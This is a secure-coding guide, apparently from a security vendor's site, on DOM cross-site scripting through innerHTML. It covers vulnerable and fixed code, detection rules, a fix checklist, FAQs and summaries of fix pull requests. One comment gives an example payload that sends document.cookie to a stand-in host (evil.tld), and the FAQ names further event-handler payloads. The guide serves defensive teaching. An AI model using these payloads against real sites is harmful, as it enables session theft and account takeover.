DOM XSS via innerHTML: why it happens and what to use instead

Assigning a string to `innerHTML` parses it as HTML, so any untrusted substring becomes live markup in your page's origin — `<img src=x onerror=…>` and `<svg onload=…>` run even though `<script>` tags inserted this way do not. The fix is to stop building HTML from data: use `textContent` (or `createElement` plus `setAttribute`) when you only need to display a value, and when you genuinely must render user-supplied markup, sanitize it with DOMPurify and enforce the result with Trusted Types. Escaping by hand does not work here, because the correct escaping depends on which HTML context the value lands in.

At a glance

LanguagesJavaScript, TypeScript — browser and any DOM-emulating runtime
Dangerous sinksinnerHTML, outerHTML, insertAdjacentHTML, document.write, jQuery .html(), Range.createContextualFragment
Framework sinksReact dangerouslySetInnerHTML, Vue v-html, Angular bypassSecurityTrustHtml
Safe replacementstextContent, innerText, createElement + setAttribute, DOMPurify.sanitize
Typical impactSession theft, account takeover, arbitrary actions as the victim in your origin
Not a fixStripping <script>, escaping only quotes, or an allowlist of tag names written by hand

Vulnerable and fixed, side by side

JavaScript (browser)

Vulnerable

const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = "Hello, " + name;

// ?name=<img src=x onerror=fetch('//evil.tld?c='+document.cookie)>
// The <img> is parsed, the load fails, and onerror runs in your origin.

Secure

const name = new URLSearchParams(location.search).get("name") ?? "";
document.getElementById("greeting").textContent = `Hello, ${name}`;

textContent never parses markup, so there is no HTML context to escape for. Reach for it whenever the value is data rather than markup — which is nearly always.

JavaScript (markup genuinely required)

Vulnerable

// A comment body that is allowed to contain <b>, <i> and links.
container.innerHTML = comment.bodyHtml;

Secure

import DOMPurify from "dompurify";

container.innerHTML = DOMPurify.sanitize(comment.bodyHtml, {
  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br"],
  ALLOWED_ATTR: ["href", "title"],
  // Blocks javascript: and data: URLs in the href above.
  ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
});

Sanitize immediately before the sink, not on input. Sanitized-then-stored HTML rots: the next parser change, or any code path that mutates the string afterwards, silently un-sanitizes it.

React / TypeScript

Vulnerable

<div dangerouslySetInnerHTML={{ __html: post.contentHtml }} />

Secure

import DOMPurify from "isomorphic-dompurify";

const clean = useMemo(
  () => DOMPurify.sanitize(post.contentHtml, { USE_PROFILES: { html: true } }),
  [post.contentHtml]
);

return <div dangerouslySetInnerHTML={{ __html: clean }} />;

React escapes `{value}` automatically; dangerouslySetInnerHTML is the one place it stops. If the HTML is produced by your own trusted server-side pipeline and sanitized there, that is defensible — document where the sanitisation happens, because the next reader cannot tell from the call site.

How to find it in your codebase

  • Grep the sinks: `rg -n 'innerHTML|outerHTML|insertAdjacentHTML|document\.write|\.html\('`. Every hit needs a traceable-to-literal argument.
  • Semgrep rules `javascript.browser.security.insecure-innerhtml.insecure-innerhtml` and `javascript.react.security.dangerously-set-inner-html`.
  • ESLint: `react/no-danger`, and `no-unsanitized/property` from eslint-plugin-no-unsanitized, which understands the assignment sinks specifically.
  • Enforce at runtime with `Content-Security-Policy: require-trusted-types-for 'script'` — report-only first. Trusted Types turns every unsanitized sink into a console violation you can count.

Fix checklist

  1. Decide whether the value is data or markup. If data, switch to `textContent` and stop.
  2. If markup, add DOMPurify (or `isomorphic-dompurify` for SSR) and sanitize at the sink with an explicit ALLOWED_TAGS list.
  3. Constrain URL attributes: `href`/`src` allowlisted to https/mailto blocks `javascript:` and `data:text/html` payloads.
  4. Deploy CSP with Trusted Types in report-only mode, review the violation reports, then enforce.
  5. Add a lint rule so the next assignment fails review rather than shipping.

Fixes we shipped

Each of these is a pull request Orbis AppSec opened against a real open-source repository.

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

addSourceInput() javascript: URL Injection in Source List Handler

The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.

getCheckboxString() HTML Injection via MIDI Metadata

The `getCheckboxString` helper built checkbox markup by interpolating MIDI instrument and program names directly into an HTML template string, which was then parsed with `DOMParser` and injected via `replaceChildren()`. A crafted MIDI file could smuggle an HTML/JS payload through its instrument metadata and have it rendered as live DOM, including inline event handlers. The fix adds a dedicated `escapeHtml()` function and routes both parameters through it before the markup is built.

Browse every xss case study

Frequently asked questions

Why does innerHTML run code when <script> tags inserted that way are ignored?

The HTML parser refuses to execute a `<script>` element inserted via innerHTML, which is why the naive test looks safe. Event-handler attributes have no such restriction: `<img src=x onerror=…>`, `<svg onload=…>` and `<iframe srcdoc=…>` all fire normally. Blocking `<script>` therefore filters the one payload that never worked and none of the ones that do.

Is escaping < and > before assigning to innerHTML enough?

No. Correct escaping depends on the context the value lands in, and you do not know the context when you are concatenating a string. A value inside an unquoted attribute needs no angle brackets at all to break out (`x onerror=alert(1)`), and a value inside an existing `href` needs `javascript:` blocked rather than characters escaped. Sanitize the parsed result instead of escaping the input.

Does a Content Security Policy stop DOM XSS on its own?

A strict CSP without `unsafe-inline` blocks most injected inline handlers, so it is a strong second layer — but it is bypassable via allowlisted CDN endpoints, JSONP, and script gadgets in libraries you already load. `require-trusted-types-for 'script'` is the part that addresses the sink directly, because it makes an unsanitized assignment throw rather than execute.

Is DOMPurify needed on the server if the HTML is rendered server-side?

Yes, if the markup contains anything a user influenced. Server-rendered HTML is still parsed by the browser, so the sink is identical; the only difference is that you cannot see it in the browser devtools. Use `isomorphic-dompurify`, or sanitize in whatever language the template runs in (bleach for Python, sanitize-html for Node, OWASP Java HTML Sanitizer).

Let Orbis AppSec find these for you

Orbis AppSec scans your GitHub repositories, traces the taint from source to sink, and opens a pull request with the fix applied and verified.

Try Orbis AppSec

Authoritative sources